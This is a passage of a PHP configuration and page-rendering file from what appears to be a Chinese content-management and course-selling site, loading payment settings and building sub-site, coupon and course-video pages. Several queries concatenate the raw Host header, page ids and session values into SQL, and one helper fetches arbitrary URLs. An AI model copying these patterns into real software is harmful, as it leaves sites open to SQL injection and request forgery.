<?php
$dirx=dirname(dirname(__FILE__))."/";
$config=json_decode(file_get_contents($dirx."conn/config.json"));

if(phpversion()<5.4){
	die("为保证网站安全，请使用PHP5.4或以上版本运行本程序！");
}

if($config->news==""){
	$news_show="true";
}else{
	$news_show=$config->news;
}

if($config->product==""){
	$product_show="true";
}else{
	$product_show=$config->product;
}

if($config->course==""){
	$course_show="true";
}else{
	$course_show=$config->course;
}

$sql="select * from sl_config";
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if(mysqli_num_rows($result) > 0) {
		
		$C_title=$row["C_title"];
		$C_keyword=$row["C_keyword"];
		$C_description=$row["C_description"];
		$C_copyright=$row["C_copyright"];
		$C_code=$row["C_code"];
		$C_logo=$row["C_logo"];
		$C_ico=$row["C_ico"];
		$C_kefu=$row["C_kefu"];
		$C_admin=$row["C_admin"];

		$C_newsds=$row["C_newsds"];
		$C_m_logo=$row["C_m_logo"];
		$C_m_position=$row["C_m_position"];
		$C_m_width=$row["C_m_width"];
		$C_m_height=$row["C_m_height"];
		$C_m_transparent=$row["C_m_transparent"];

		$C_alipay_pid=$row["C_alipay_pid"];
		$C_alipay_pkey=$row["C_alipay_pkey"];
		$C_dmf_id=$row["C_dmf_id"];
		$C_dmf_key=$row["C_dmf_key"];
		$C_dmf_key2=$row["C_dmf_key2"];
		$C_qpay_appid=$row["C_qpay_appid"];
		$C_qpay_mchid=$row["C_qpay_mchid"];
		$C_qpay_key=$row["C_qpay_key"];

		$C_ttpay_mchid=$row["C_ttpay_mchid"];
		$C_ttpay_appid=$row["C_ttpay_appid"];
		$C_ttpay_secret=$row["C_ttpay_secret"];

		$C_7pay_pid=$row["C_7pay_pid"];
		$C_7pay_pkey=$row["C_7pay_pkey"];
		$C_codepay_id=$row["C_codepay_id"];
		$C_codepay_key=$row["C_codepay_key"];
		$C_codepay_type=$row["C_codepay_type"];
		$C_epay_url=$row["C_epay_url"];
		$C_epay_id=$row["C_epay_id"];
		$C_epay_key=$row["C_epay_key"];
		$C_epay_type=$row["C_epay_type"];
		$C_payjs_id=$row["C_payjs_id"];
		$C_payjs_key=$row["C_payjs_key"];
		$C_wx_appid=$row["C_wx_appid"];
		$C_wx_appsecret=$row["C_wx_appsecret"];
		$C_wx_mchid=$row["C_wx_mchid"];
		$C_wx_key=$row["C_wx_key"];
		$C_qqid=$row["C_qqid"];
		$C_qqkey=$row["C_qqkey"];

		$C_alicode=$row["C_alicode"];
		$C_wxcode=$row["C_wxcode"];
		$C_kd=$row["C_kd"];

		$C_postage=$row["C_postage"];
		$C_baoyou=$row["C_baoyou"];

		$C_osson=$row["C_osson"];
		$C_oss_id=$row["C_oss_id"];
		$C_oss_key=$row["C_oss_key"];
		$C_oss_domain=$row["C_oss_domain"];
		$C_bucket=$row["C_bucket"];
		$C_region=$row["C_region"];

		$C_buylimit=$row["C_buylimit"];
		$C_viplimit=$row["C_viplimit"];

		$C_wxapp_id=$row["C_wxapp_id"];
		$C_wxapp_key=$row["C_wxapp_key"];
		$C_aliapp_id=$row["C_aliapp_id"];
		$C_aliapp_key=$row["C_aliapp_key"];
		$C_aliapp_key2=$row["C_aliapp_key2"];
		$C_bdapp_id=$row["C_bdapp_id"];
		$C_bdapp_key=$row["C_bdapp_key"];
		$C_bdapp_key2=$row["C_bdapp_key2"];
		$C_qqapp_id=$row["C_qqapp_id"];
		$C_qqapp_key=$row["C_qqapp_key"];
		$C_zjapp_id=$row["C_zjapp_id"];
		$C_zjapp_key=$row["C_zjapp_key"];

		$C_appt=$row["C_appt"];

		$C_alipayon=$row["C_alipayon"];
		$C_wxpayon=$row["C_wxpayon"];
		$C_7payon=$row["C_7payon"];
		$C_qpayon=$row["C_qpayon"];
		$C_dmfon=$row["C_dmfon"];
		$C_codepayon=$row["C_codepayon"];
		$C_payjson=$row["C_payjson"];
		$C_alicodeon=$row["C_alicodeon"];
		$C_wxcodeon=$row["C_wxcodeon"];

		$C_kefuon=$row["C_kefuon"];
		$C_regon=$row["C_regon"];
		$C_qqon=$row["C_qqon"];
		$C_wxon=$row["C_wxon"];
		$C_qqon2=$row["C_qqon2"];
		$C_wxon2=$row["C_wxon2"];
		$C_dxon=$row["C_dxon"];
		$C_rzon=$row["C_rzon"];
		$C_fee=$row["C_fee"];
		$C_rzfee=$row["C_rzfee"];
		$C_rzfeetype=$row["C_rzfeetype"];
		$C_zd=$row["C_zd"];

		$C_fzon=$row["C_fzon"];
		$C_fzk=$row["C_fzk"];
		$C_zzk=$row["C_zzk"];
		$C_fzvip=$row["C_fzvip"];

		$C_punsh=$row["C_punsh"];
		$C_nunsh=$row["C_nunsh"];

		$C_vip1=$row["C_vip1"];
		$C_vip2=$row["C_vip2"];
		$C_vip3=$row["C_vip3"];
		$C_vip6=$row["C_vip6"];
		$C_vip12=$row["C_vip12"];
		$C_vip0=$row["C_vip0"];
		$C_p_discount=$row["C_p_discount"];
		$C_n_discount=$row["C_n_discount"];
		$C_p_discount2=$row["C_p_discount2"];
		$C_n_discount2=$row["C_n_discount2"];
		$C_c_discount=$row["C_c_discount"];
		$C_c_discount2=$row["C_c_discount2"];

		$C_template=$row["C_template"];
		$C_wap=$row["C_wap"];
		$C_beian=$row["C_beian"];
		$C_qrcode=$row["C_qrcode"];
		$C_email=$row["C_email"];
		$C_phone=$row["C_phone"];
		$C_regr=$row["C_regr"];

		$C_authcode=$row["C_authcode"];
		$C_notice=$row["C_notice"];

		$C_mailtype=$row["C_mailtype"];
		$C_mailcode=$row["C_mailcode"];
		$C_smtp=$row["C_smtp"];
		$C_html=$row["C_html"];

		$C_fx1=$row["C_fx1"];
		$C_fx2=$row["C_fx2"];
		$C_fx3=$row["C_fx3"];

		$C_fen1=$row["C_fen1"];
		$C_fen2=$row["C_fen2"];
		$C_fen3=$row["C_fen3"];

		$C_dx1=$row["C_dx1"];
		$C_dx2=$row["C_dx2"];
		$C_dx3=$row["C_dx3"];
		$C_dx4=$row["C_dx4"];
		$C_dx5=$row["C_dx5"];

		$C_memberon=$row["C_memberon"];
		$C_pwdcode=$row["C_pwdcode"];

		$C_mobile=$row["C_mobile"];
    	$C_smssign=$row["C_smssign"];
    	$C_userid=$row["C_userid"];
    	$C_codeid=$row["C_codeid"];
    	$C_codekey=$row["C_codekey"];

		$C_twice=$row["C_twice"];
		$C_uncopy=$row["C_uncopy"];
		$C_slide=$row["C_slide"];
		$C_backup=$row["C_backup"];
		$C_format=$row["C_format"];
		$C_bd_token=$row["C_bd_token"];

		$C_hotwords=$row["C_hotwords"];
		$C_fdomain=$row["C_fdomain"];
		$C_cache=$row["C_cache"];

		$C_contact=getrs("select T_content from sl_text where T_del=0 and T_type=1","T_content");

		$C_domain=$_SERVER['HTTP_HOST'];
		$H_data=$row;
		$H_data["C_contact"]=$C_contact;
	}

	if(www($_SERVER['HTTP_HOST'])!=www($C_fdomain) && $C_fdomain!=""){//分站域名访问
		if(getrs("select M_id from sl_member where M_domain='".$_SERVER['HTTP_HOST']."'","M_id")!=""){//使用绑定的域名
			$fmid=intval(getrs("select M_id from sl_member where M_domain='".$_SERVER['HTTP_HOST']."'","M_id"));
		}else{
			if(strpos($_SERVER['HTTP_HOST'],www($C_fdomain))!==false){//使用自带的域名
				$fmid=intval(splitx($_SERVER['HTTP_HOST'],".",0));
			}else{
				$fmid=0;
			}
		}

		$sql="select * from sl_member where M_id=".$fmid;
		$result = mysqli_query($conn, $sql);
		if (mysqli_num_rows($result) > 0) {
			$row = mysqli_fetch_assoc($result);
			$M_sellertime=$row["M_sellertime"];
			$M_sellerlong=$row["M_sellerlong"];
			$M_show=$row["M_show"];
			$M_product=$row["M_product"];
			$M_news=$row["M_news"];

			if(time()-strtotime($M_sellertime)>$M_sellerlong*86400 && $C_fzk==1){//商家到期
				die("该用户未开通分站功能");
			}else{
				if($row["M_webtitle"]!=""){
					$C_title=$row["M_webtitle"];
					$H_data["C_title"]=$row["M_webtitle"];
				}
				if($row["M_keyword"]!=""){
					$C_keyword=$row["M_keyword"];
					$H_data["C_keyword"]=$row["M_keyword"];
				}
				if($row["M_description"]!=""){
					$C_description=$row["M_description"];
					$H_data["C_description"]=$row["M_description"];
				}
				if($row["M_logo"]!=""){
					$C_logo=$row["M_logo"];
					$H_data["C_logo"]=$row["M_logo"];
				}
				if($row["M_ico"]!=""){
					$C_ico=$row["M_ico"];
					$H_data["C_ico"]=$row["M_ico"];
				}
				if($row["M_qrcode"]!=""){
					$C_qrcode=$row["M_qrcode"];
					$H_data["C_qrcode"]=$row["M_qrcode"];
				}
				if($row["M_beian"]!=""){
					$C_beian=$row["M_beian"];
					$H_data["C_beian"]=$row["M_beian"];
				}
				if($row["M_copyright"]!=""){
					$C_copyright=$row["M_copyright"];
					$H_data["C_copyright"]=$row["M_copyright"];
				}
				if($row["M_mobile"]!=""){
					$C_phone=$row["M_mobile"];
					$H_data["C_phone"]=$row["M_mobile"];
				}
				if($row["M_notice"]!=""){
					$C_notice=$row["M_notice"];
					$H_data["C_notice"]=$row["M_notice"];
				}
				if($row["M_contact"]!=""){
					$C_contact=$row["M_contact"];
					$H_data["C_contact"]=$row["M_contact"];
				}
				if($row["M_code"]!=""){
					$C_code=$row["M_code"];
					$H_data["C_code"]=$row["M_code"];
				}
				if($row["M_kefu"]!=""){
					$C_kefu=$row["M_kefu"];
					$H_data["C_kefu"]=$row["M_kefu"];
				}
				
				if($row["M_template"]!=""){
					$C_template=$row["M_template"];
					$H_data["C_template"]=$row["M_template"];
				}
				if($row["M_wap"]!=""){
					$C_wap=$row["M_wap"];
					$H_data["C_wap"]=$row["M_wap"];
				}

				$priceup=1+$row["M_priceup"]/100;
				if($M_show==1){
					$M_ninfo=" and (N_mid=$fmid or instr('".$M_news."',CONCAT('|',N_id,'|'))>0)";
					$M_pinfo=" and (P_mid=$fmid or instr('".$M_product."',CONCAT('|',P_id,'|'))>0)";
				}else{
					$M_ninfo=" and N_mid=0 ";
					$M_pinfo=" and P_mid=0 ";
				}
			}
		}else{
			//die("该域名[".$_SERVER['HTTP_HOST']."]尚未绑定");
			$priceup=1;
			$fmid=0;
			if($C_zzk==1){
				$M_ninfo=" and N_mid=0 ";
				$M_pinfo=" and P_mid=0 ";
			}else{
				$M_ninfo="";
				$M_pinfo="";
			}
		}
	}else{
		$priceup=1;
		$fmid=0;
		if($C_zzk==1){
			$M_ninfo=" and N_mid=0 ";
			$M_pinfo=" and P_mid=0 ";
		}else{
			$M_ninfo="";
			$M_pinfo="";
		}
	}

if(strpos(strtolower($_SERVER['PHP_SELF']),"api/alipay/notify_url.php")===false && strpos(strtolower($_SERVER['PHP_SELF']),"pay/dmf/notify_url.php")===false && strpos(strtolower($_SERVER['PHP_SELF']),"tpl_edit.php")===false){
	$_POST = array_map('check_input', $_POST);
}

if($_GET["uid"]!=""){
	$_SESSION["uid"]=$_GET["uid"];
}

function p($price){
	global $priceup,$M_show;
	if(is_numeric($price)){
		if($M_show==1){
			return round($price,2);
		}else{
			return round($price*$priceup,2);
		}
	}else{
		return $price;
	}
}

function downpic($path,$url){
global $C_osson;
$name=date("YmdHis").gen_key(3).".jpg";
if(substr($url,0,2)=="//"){
    $url="http:".$url;
}
$url = getbody(str_replace("https://","http://",$url),"","GET");
file_put_contents($path.$name,$url);
if($C_osson==1){
	tooss("../media/".$name);
}
return $name;
}

function check_input($value){
	if (is_array($value)){
		return $value;
	}else{
		return addslashes($value);
	}
}

function text($t){
	global $conn,$id,$C_kefu,$C_keyword,$C_description,$fmid,$C_contact;
	$sql="select * from sl_text where T_id=".$id;
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if (mysqli_num_rows($result) > 0) {
		$t = str_Replace("[T_title]",$row["T_title"],$t);
		$t = str_Replace("[T_pic]",pic($row["T_pic"]),$t);
		$t = str_Replace("[T_order]",$row["T_order"],$t);
		if($row["T_keywords"]==""){//如果单页关键词为空，则调用网站关键词
			$t = str_Replace("[T_keywords]",$C_keyword,$t);
		}else{
			$t = str_Replace("[T_keywords]",$row["T_keywords"],$t);
		}
		if($row["T_description"]==""){//如果单页描述为空，则调用网站描述
			$t = str_Replace("[T_description]",$C_description,$t);
		}else{
			$t = str_Replace("[T_description]",$row["T_description"],$t);
		}

		switch($row["T_type"]){
			case 0:
			case 5:
			$T_content=$row["T_content"];
			break;

			case 1:
			$kf=explode("|",$C_kefu);
			for($i=0;$i<count($kf);$i++){
				switch(splitx($kf[$i],"_",1)){
					case "qq":
					$type="QQ";
					$url="http://wpa.qq.com/msgrd?v=3&uin=".splitx($kf[$i],"_",0)."&site=qq&menu=yes";
					break;
					case "ww":
					$type="旺旺";
					$url="http://www.taobao.com/webww/ww.php?ver=3&touid=".splitx($kf[$i],"_",0)."&siteid=cntaobao&status=1&charset=utf-8";
					break;
					case "wx":
					$type="微信";
					$url="javascript:;";
					break;
					case "phone":
					$type="电话";
					$url="tel:".splitx($kf[$i],"_",0);
					break;
					case "email":
					$type="邮箱";
					$url="mailto:".splitx($kf[$i],"_",0);
					break;
				}
				$kefu=$kefu."<b>".splitx($kf[$i],"_",2)."</b> <a href=\"".$url."\">".$type."：".splitx($kf[$i],"_",0)."</a><br>";
			}
			if($fmid==0){
				$T_content="<iframe src=\"conn/mapload.php?C_address=".$row["T_address"]."&C_zb=".$row["T_zb"]."\" scrolling=\"no\" name=\"mapif\" type=\"1\" frameborder=\"0\" height=\"400\" width=\"100%\" style=\"margin: 20px 0\"></iframe><p style=\"font-size:20px;font-weight:bold;\">联系方式：</p><p>".$row["T_content"]."</p><p style=\"font-size:20px;font-weight:bold;margin-top:10px;\">在线客服：</p><p>".$kefu."</p>";
			}else{
				$T_content="<p style=\"font-size:20px;font-weight:bold;\">联系方式：</p><p>".$C_contact."</p><p style=\"font-size:20px;font-weight:bold;margin-top:10px;\">在线客服：</p><p>".$kefu."</p>";

			}
			break;

			case 2:
			$T_content=$row["T_content"].'<link href="css/form.css" rel="stylesheet">
<div class="form_container">
<form action="booksave.php?action=save" method="post">
<div class="right"><input type="text" name="G_title" placeholder="留言标题"></div>
<div class="right"><input type="text" name="G_name" placeholder="您的姓名"></div>
<div class="right"><input type="text" name="G_phone" placeholder="联系电话"></div>
<div class="right"><input type="text" name="G_mail" placeholder="电子邮箱"></div>
<div class="right"><textarea name="G_msg" placeholder="留言内容"></textarea></div>
<div class="right"><iframe src="conn/code_1.php?name=G_code" scrolling="no" frameborder="0" width="100%" height="40"></iframe></div>
<div class="right"><button type="submit">提交留言</button><button type="reset">重新填写</button></div>
</form>
</div>';
			break;
			case 3:
			$sql="select Q_title,Q_order from (select * from sl_quan where Q_del=0 and Q_hide=0 and Q_gettime>now())b group by Q_title,Q_order order by Q_order asc";
			$result = mysqli_query($conn, $sql);
			if (mysqli_num_rows($result) > 0) {
				while($row = mysqli_fetch_assoc($result)) {
					$Q=getrs("select * from sl_quan where Q_title='".$row["Q_title"]."'");
					$rest=getrs("select count(Q_id) as Q_count from sl_quan where Q_del=0 and Q_hide=0 and Q_mid=0 and Q_gettime>now() and Q_title='".$Q["Q_title"]."'","Q_count");

					if($Q["Q_pid"]>0){
						$P_info="".getrs("select * from sl_product where P_id=".$Q["Q_pid"],"P_title")."";
					}else{
						$P_info="店铺优惠券";
					}

					if($Q["Q_discount"]>0){
						$D_info=" 打".((100-$Q["Q_discount"])/10)."折";
						$D_info2=((100-$Q["Q_discount"])/10)."折";
					}else{
						$D_info="";
						$D_info2="";
					}

					if($Q["Q_minuse"]>0){
						$M_info=" 减".$Q["Q_minuse"]."元";
						$M_info2="￥".$Q["Q_minuse"];
					}else{
						$M_info="";
						$M_info2="";
					}
					if($_SESSION["M_id"]!="" && getrs("select * from sl_quan where Q_mid=".intval($_SESSION["M_id"])." and Q_title='".$Q["Q_title"]."'")){
						$btn="<div class=\"quan_get\">已领取</div>";
						$info="您已领取该优惠券，请在".date("Y-m-d",strtotime($Q["Q_usetime"]))."前使用";
					}else{
						if($rest>0){
							$btn="<div class=\"quan_btn\" onclick=\"getquan(".$Q["Q_id"].")\">立即领取</div>";
							$info="优惠券仅剩".$rest."张，请尽快领取！";
						}else{
							$btn="<div class=\"quan_get\">已抢光</div>";
							$info="该优惠券已被抢光，下次早点来哦！";
						}
					}

					$quan=$quan."<div class=\"quan_box\">
					<div class=\"quan_bg\">券</div>
					
					<div style=\"float:right;text-align:right;margin-top:10px\">
					<b>".$Q["Q_title"]."</b><br>满".$Q["Q_money"]."元".$M_info.$D_info."
					</div>
					<div class=\"quan_dis\">".$D_info2.$M_info2."</div>
					<div class=\"quan_info\">$P_info</div>
					<div class=\"\">".date("Y-m-d",strtotime($Q["Q_gettime"]))."前领取 / ".date("Y-m-d",strtotime($Q["Q_usetime"]))."前使用</div>
					".$btn."
					<div style=\"text-align:center;margin-top:5px;\">".$info."<span id=\"login_".$Q["Q_id"]."\"></span></div>
					
					</div>";
				}
			}
			$js='<script>
			function getquan(id){
				$.ajax({
		            url: "conn/f.php?action=getquan&Q_id="+id,
		            success: function(data) {
		                data = JSON.parse(data);
		                if (data.code == "success") {
		                    location.reload();
		                } else {
		                    alert(data.msg);
		                    if(data.msg=="请先登录会员帐号！"){
		                    	$("#login_"+id).html(" <a style=\'color:#fff\' href=\'member/login.php?from="+encodeURIComponent(window.location.href)+"\'>[登录帐号]</a>");
		                    }
		                }
		            }
		        });
			}
			</script>';
			$css="<style>
			@media screen and (max-width:1024px){
			.quan_box{display:inline-block;width:calc(100% - 20px);margin:10px;vertical-align:top;border-radius:10px;padding:10px;background-image: linear-gradient(to left, #FF7A0C,#FF2A14);color:#fff;font-size:12px;position:relative;overflow:hidden}
			}
			@media screen and (min-width:1024px){
			.quan_box{display:inline-block;width:calc(33% - 40px);margin:10px;vertical-align:top;border-radius:10px;padding:10px;background-image: linear-gradient(to left, #FF7A0C,#FF2A14);color:#fff;font-size:12px;position:relative;overflow:hidden}
			}
			.quan_btn{height:30px;line-height:30px;background:#FFF577;border-radius:30px;text-align:center;color:#FF0000;margin-top:10px;cursor:pointer}
			.quan_get{height:30px;line-height:30px;background:#EEE;border-radius:30px;text-align:center;color:#666;margin-top:10px;cursor:pointer}
			.quan_dis{font-size:40px;line-height:70px;white-space: nowrap;text-overflow: ellipsis;overflow: hidden;word-break: break-all;}
			.quan_info{white-space: nowrap;text-overflow: ellipsis;overflow: hidden;word-break: break-all;font-weight:bold}
			.quan_bg{color:#FFF577;font-size:100px;border:solid 8px #FFF577;border-radius:100%;width:180px;height:180px;text-align:center;position:absolute;right:-50px;top:-50px;opacity:0.1;z-index:1;user-select:none}
			</style>";
			$T_content=$css.$js.$quan;

			break;
			case 4:
			$T_content="<iframe src='member/query.php' marginheight='0' marginwidth='0' frameborder='0' scrolling='no' width='100%' height='100%' id='iframepage' name='iframepage' onLoad='iFrameHeight()' style='width:100%;max-width:900px;min-height:560px'></iframe>
<script type='text/javascript' language='javascript'>
function iFrameHeight() {
    var ifm= document.getElementById('iframepage');
    var subWeb = document.frames ? document.frames['iframepage'].document :ifm.contentDocument;
    if(ifm != null && subWeb != null){
        ifm.height = subWeb.body.scrollHeight;
        ifm.style.height= subWeb.body.scrollHeight+'px';
    }
}
window.timer = setInterval('iFrameHeight()', 500);
</script>";
			break;
		}
		$t = str_Replace("[T_content]",editor_oss($T_content),$t);
	}
	return $t;
}

function news($t){
	global $conn,$id,$C_keyword,$C_description;
	$M_id=intval($_GET["M_id"]);
	$sql="select * from sl_nsort where S_id=".$id;
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if (mysqli_num_rows($result) > 0) {
		$t = str_Replace("[S_id]",$row["S_id"],$t);
		$t = str_Replace("[S_sub]",$row["S_sub"],$t);
		$t = str_Replace("[S_pic]",pic($row["S_pic"]),$t);
		$t = str_Replace("[S_title]",$row["S_title"],$t);
		$t = str_Replace("[S_order]",$row["S_order"],$t);
		if($row["S_content"]==""){
			$t = str_Replace("[S_content]",$C_description,$t);
		}else{
			$t = str_Replace("[S_content]",$row["S_content"],$t);
		}
		if($row["S_keywords"]==""){
			$t = str_Replace("[S_keywords]",$C_keyword,$t);
		}else{
			$t = str_Replace("[S_keywords]",$row["S_keywords"],$t);
		}
	}else{
		if(intval($M_id)>0){
			$M=getrs("select * from sl_member where M_id=$M_id");
			$M_shop=$M["M_shop"];
			$M_head=$M["M_head"];
			$t = str_Replace("[S_id]","0",$t);
			$t = str_Replace("[S_title]",$M_shop,$t);
			$t = str_Replace("[S_keywords]",$M_shop,$t);
			$t = str_Replace("[S_content]",$M_shop,$t);
			$t = str_Replace("[S_pic]",pic($M_head),$t);
		}else{
			$t = str_Replace("[S_id]","0",$t);
			$t = str_Replace("[S_title]","全部文章",$t);
			$t = str_Replace("[S_keywords]","全部文章",$t);
			$t = str_Replace("[S_content]","ALL NEWS",$t);
			$t = str_Replace("[S_pic]",pic("nopic.png"),$t);
		}
		
	}
	return $t;
}



function course($t){
	global $conn,$id,$C_keyword,$C_description;
	$M_id=intval($_GET["M_id"]);
	$sql="select * from sl_usort where S_id=".$id;
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if (mysqli_num_rows($result) > 0) {
		$t = str_Replace("[S_id]",$row["S_id"],$t);
		$t = str_Replace("[S_sub]",$row["S_sub"],$t);
		$t = str_Replace("[S_pic]",pic($row["S_pic"]),$t);
		$t = str_Replace("[S_title]",$row["S_title"],$t);
		$t = str_Replace("[S_order]",$row["S_order"],$t);
		if($row["S_content"]==""){
			$t = str_Replace("[S_content]",$C_description,$t);
		}else{
			$t = str_Replace("[S_content]",$row["S_content"],$t);
		}
		if($row["S_keywords"]==""){
			$t = str_Replace("[S_keywords]",$C_keyword,$t);
		}else{
			$t = str_Replace("[S_keywords]",$row["S_keywords"],$t);
		}
	}else{
		if(intval($M_id)>0){
			$M=getrs("select * from sl_member where M_id=$M_id");
			$M_shop=$M["M_shop"];
			$M_head=$M["M_head"];
			$t = str_Replace("[S_id]","0",$t);
			$t = str_Replace("[S_title]",$M_shop,$t);
			$t = str_Replace("[S_keywords]",$M_shop,$t);
			$t = str_Replace("[S_content]",$M_shop,$t);
			$t = str_Replace("[S_pic]",pic($M_head),$t);
		}else{
			$t = str_Replace("[S_id]","0",$t);
			$t = str_Replace("[S_title]","全部课程",$t);
			$t = str_Replace("[S_keywords]","全部课程",$t);
			$t = str_Replace("[S_content]","ALL COURSE",$t);
			$t = str_Replace("[S_pic]",pic("nopic.png"),$t);
		}
		
	}
	return $t;
}


function c_video($id,$page){
	global $conn,$C_c_discount,$C_c_discount2,$C_keyword,$C_description;
	if($page==0){
		$page=1;
	}

	if($_SESSION["M_id"]!=""){
	  $H_id=getrs("select * from sl_history where H_hid=$id and H_mid=".$_SESSION["M_id"]." and H_type=2","H_id");
	  if($H_id!=""){
	      mysqli_query($conn,"update sl_history set H_hid2=$page,H_time='".date('Y-m-d H:i:s')."' where H_id=$H_id");
	  }else{
	      mysqli_query($conn, "insert into sl_history(H_type,H_hid,H_hid2,H_mid,H_time) values(2,$id,$page,".$_SESSION["M_id"].",'".date('Y-m-d H:i:s')."')");
	  }
	}

	$genkey=date('YmdHis').rand(1000,9999);
	
	$sql="select * from sl_course,sl_usort where C_sort=S_id and C_id=".$id;
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if (mysqli_num_rows($result) > 0) {
		$C_price=$row["C_price"];

		$lession=explode("||",$row["C_lesson"]);
		for($i=0;$i<count($lession);$i++){
			if(strpos($lession[$i],"_")!==false){
				$l=$l.$lession[$i]."||";
			}
		}

		$ptitle=splitx(splitx($l,"||",($page-1)),"__",0);
		$price=splitx(splitx($l,"||",($page-1)),"__",1);
		$video=splitx(splitx($l,"||",($page-1)),"__",2);

		$t = str_Replace("[S_id]",$row["S_id"],$t);
		$t = str_Replace("[C_title]",$row["C_title"],$t);
		$t = str_Replace("[C_ptitle]",$ptitle." - ".$row["C_title"],$t);
		$t = str_Replace("[C_pic]",pic($row["C_pic"]),$t);
		$t = str_Replace("[C_price]",$row["C_price"],$t);
		$style="<style>
		.u{height:100%;width:100%;min-height:250px;position:relative;background:#f7f7f7;display:block;}
		.u div{height:220px;width:300px;text-align:center;top:calc(50% - 110px);position:absolute;left:calc(50% - 150px);}
		</style>
		<link href=\"https://cdn.bootcdn.net/ajax/libs/video.js/7.10.1/video-js.min.css\" rel=\"stylesheet\">
		<script src=\"https://cdn.bootcdn.net/ajax/libs/video.js/7.10.1/video.min.js\"></script> 
		";

		if(substr($video,0,7)=="<iframe"){
			$v=$video;
		}else{
			if(substr($video,0,6)=="media/" || substr($video,0,7)=="http://" || substr($video,0,8)=="https://"){
				//无需加前缀
			}else{
				$video="media/".$video;
			}
			switch(substr(strrchr($video, '.'), 1)){
				case "txt":
				$v="<div style=\"text-align:left;background:#fff;padding:10px;box-shadow: 0px 0px 10px #666666;height:100%;overflow:auto;width:100%\">".str_replace("\r\n","<br>",file_get_contents("../".$video))."</div>";
				break;
				case "mp3":
				$v="
			<video preload=\"auto\" class=\"video-js vjs-big-play-centered\" id=\"my-video\" poster=\"media/".$row["C_pic"]."\" controls data-setup=\"{}\">
			<source src=\"".$video."\" type=\"video/mp4\" />
			<p class=\"vjs-no-js\"> To view this video please enable JavaScript, and consider upgrading to a web browser that <a href=\"http://videojs.com/html5-video-support/\" target=\"_blank\">supports HTML5 video</a> </p>
			</video>";
				break;
				case "mp4":
				case "mkv":
				$v="
			<video preload=\"auto\" class=\"video-js vjs-big-play-centered\" id=\"my-video\"  controls data-setup=\"{}\">
			<source src=\"".$video."\" type=\"video/mp4\" />
			<p class=\"vjs-no-js\"> To view this video please enable JavaScript, and consider upgrading to a web browser that <a href=\"http://videojs.com/html5-video-support/\" target=\"_blank\">supports HTML5 video</a> </p>
			</video>";
				break;
			}
		}

		$M=getrs("select * from sl_member where M_id=".intval($_SESSION["M_id"]));
		if($M!=""){
			$M_viptime=$M["M_viptime"];
			$M_viplong=$M["M_viplong"];
			if($M_viplong-(time()-strtotime($M_viptime))/86400>0){
				if($M_viplong>30000){
					$C_discount=$C_c_discount2/10;
				}else{
					$C_discount=$C_c_discount/10;
				}
			}else{
				$C_discount=1;
			}
		}else{
			$C_discount=1;
		}

		if($price>0 && $C_price>0){//付费
			if($M==""){//未登录
				$x="<div class=\"u\"><div><p><img src=\"images/v_nologin.png\"></p><p>亲，需要登录才能继续观看～
 </p><p><a href=\"member/login.php?from=".urlencode("../?type=courseinfo&id=".$id."&page=".$page)."\" class=\"btn btn-info\">快速登录</a></p></div></div>";
			}else{
				$O=getrs("select * from sl_orders where O_cid=$id and O_state=1 and (O_content='all' or O_content='".$page."') and O_mid=".intval($_SESSION["M_id"]));
				if($O==""){
					$x="<div class=\"u\"><div><p><img src=\"images/v_nologin.png\"></p><p>亲，需要购买才能继续观看～
 </p><p><a href=\"buy.php?type=courseinfo&id=$id&page=all&genkey=$genkey\" class=\"btn btn-primary\">".($C_price*$C_discount)."元购买全套</a> <a href=\"buy.php?type=courseinfo&id=$id&page=$page&genkey=$genkey\" class=\"btn btn-info\">".($price*$C_discount)."元购买本节</a></p></div></div>";
				}else{
					$x=$v;
				}
			}
		}else{
			$x=$v;
		}

		$arr=array();
		$arr["video"]=$x.$style;
		$arr["title"]=$ptitle." - ".$row["C_title"];
		return $arr;
	}
}

function courseintro($t){
	global $conn,$id,$C_c_discount,$C_c_discount2,$C_keyword,$C_description;
	$sql="select * from sl_course,sl_usort where C_sort=S_id and C_id=".$id;
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if (mysqli_num_rows($result) > 0) {
		$t = str_Replace("[S_id]",$row["S_id"],$t);
		$t = str_Replace("[C_id]",$row["C_id"],$t);
		$t = str_Replace("[S_title]",$row["S_title"],$t);
		$t = str_Replace("[C_title]",$row["C_title"],$t);
		$t = str_Replace("[C_content]",$row["C_content"],$t);
		$t = str_Replace("[C_pic]",pic($row["C_pic"]),$t);
		$t = str_Replace("[C_price]",$row["C_price"],$t);

		if($C_c_discount<10){//普通VIP有折扣
			$s="<span style=\"padding: 0 3px;background: #000000;color: #FFCC00;\">VIP￥<span id=\"price_v1\">".p($row["C_price"]*$C_c_discount/10)."</span></span>";
		}
		if($C_c_discount2<$C_c_discount){
			$s=$s."<span style=\"background:#FFCC00;color:#000000;padding: 0 3px;border-radius: 0 5px 5px 0;\">SVIP￥<span id=\"price_v2\">".p($row["C_price"]*$C_c_discount2/10)."<span></span>";
		}
		$s="<a target=\"_blank\" href=\"member/vip.php\" style=\"font-size: 12px;border-radius: 5px;margin-left: 10px;margin-right: 10px;font-weight: bold;border:solid 1px #000000;\">".$s."</a>";
		$t = str_Replace("[C_vip]",$s,$t);

	}
	return $t;
}

function courseinfo($t){
	global $conn,$id,$C_c_discount,$C_c_discount2,$C_keyword,$C_description;
	$page=intval($_GET["page"]);
	if($page==0){
		$page=1;
	}

	if($_SESSION["M_id"]!=""){
	  $H_id=getrs("select * from sl_history where H_hid=$id and H_mid=".$_SESSION["M_id"]." and H_type=2","H_id");
	  if($H_id!=""){
	      mysqli_query($conn,"update sl_history set H_hid2=$page,H_time='".date('Y-m-d H:i:s')."' where H_id=$H_id");
	  }else{
	      mysqli_query($conn, "insert into sl_history(H_type,H_hid,H_hid2,H_mid,H_time) values(2,$id,$page,".$_SESSION["M_id"].",'".date('Y-m-d H:i:s')."')");
	  }
	}

	$genkey=date('YmdHis').rand(1000,9999);
	
	$sql="select * from sl_course,sl_usort where C_sort=S_id and C_id=".$id;
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if (mysqli_num_rows($result) > 0) {
		$C_price=$row["C_price"];

		$lession=explode("||",$row["C_lesson"]);
